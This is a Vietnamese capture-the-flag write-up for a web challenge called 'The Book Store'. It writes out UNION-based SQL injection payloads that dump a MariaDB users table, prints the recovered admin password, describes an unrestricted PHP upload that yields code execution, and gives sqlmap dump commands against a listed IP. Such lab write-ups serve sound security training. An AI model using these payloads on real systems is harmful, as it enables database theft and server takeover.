# The Book Store

>https://battle.cookiearena.org/challenges/vulnerable-web/the-book-store
## Enumeration
Chức năng đăng ký cho phép user đăng ký tài khoản

Và login bằng username và password

Sau khi login thì có giao diện như sau, user có thể xem Profile

Xem sản phẩm dựa trên Category

Thêm sản phẩm vào giỏ hàng

Xác nhận đặt hàng

Tìm kiếm sản phẩm theo tên sản phẩm

## Analysis
Ở đây mình thấy web có chức năng đăng nhập, tìm kiếm sản phẩm, và lọc sản phẩm theo category. Đây là những chức năng đều nhận các giá trị từ input của người dùng nên dễ bị tấn công SQL injection.
Đầu tiên, test chức năng lọc sản phẩm, thêm dấu `'`

Có lỗi trả về, chứng tỏ đây là Error-based SQLi. Và ta biết được web sử dụng hệ quản trị csdl MariaDB.
Chèn 1 câu lệnh luôn đúng thì sản phẩm được liệt kê toàn bộ

Sau khi xác định được lỗi, mình sẽ xác định số cột bằng câu truy vấn
```sql
' group by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- -
```

Vậy số cột được select là 15 cột.
Tiếp theo, xác định xem cột nào trả về kiểu chuỗi


Ở vị trí 3,5,6 có dữ liệu được trả về nên khi extract dữ liệu mình sẽ trả về các cột đó
Tìm database và version như sau
```sql
' union select 1,2,'a',4,version(),database(),7,8,9,10,11,12,13,14,15-- -
```

**Version**: `MariaDB 10.3.39`
**Database**: `bookstore`
Xác định tên cột bằng câu truy vấn sau
```sql
' union select 1,2,'a',4,'a',table_name,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='bookstore'-- -
```

Có 5 bảng được trả về, ở đây chỉ cần quan tâm bảng `users`
```sql
' union select 1,2,'a',4,'a',column_name,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='users'-- -
```

Lấy dữ liệu của bảng `users`
```sql
' union select 1,2,'a',4,UserName,Password,7,8,9,10,11,12,13,14,15 from users-- -
```

Vậy là mình đã có được tài khoản của admin
**Account admin**: `admin/1234567890`
Login vào thấy có chức năng `upload Product` và `Show users`

Đối với `Show users` cho phép admin xem đơn hàng, và xóa user. Ở chức năng này mình không khai thác được gì.

Chuyển sang `upload Product`, có phần upload ảnh đáng chú ý


Ảnh được lưu tại `/img/books/[PID].jpg` và đuôi `.jpg` tự động thêm vào đối với mỗi ảnh

Thử upload file php thì thấy server không có cơ chế phòng chống nào cả

Server thực thi file php thành công

## Exploitation
Tìm các file trong hệ thống


Và cuối cùng là đọc flag


## Bonus
Sử dụng sqlmap để dump dữ liệu
Lấy tên các database
```cmd
sqlmap -u 103.97.125.56:31400/Product.php?value=123 --dbs
```

Lấy tên các bảng
```cmd
sqlmap -u 103.97.125.56:31400/Product.php?value=123 -D bookstore --tables
```

Lấy dữ liệu trong bảng
```cmd
sqlmap -u 103.97.125.56:31400/Product.php?value=123 -D bookstore -T users --dump
```
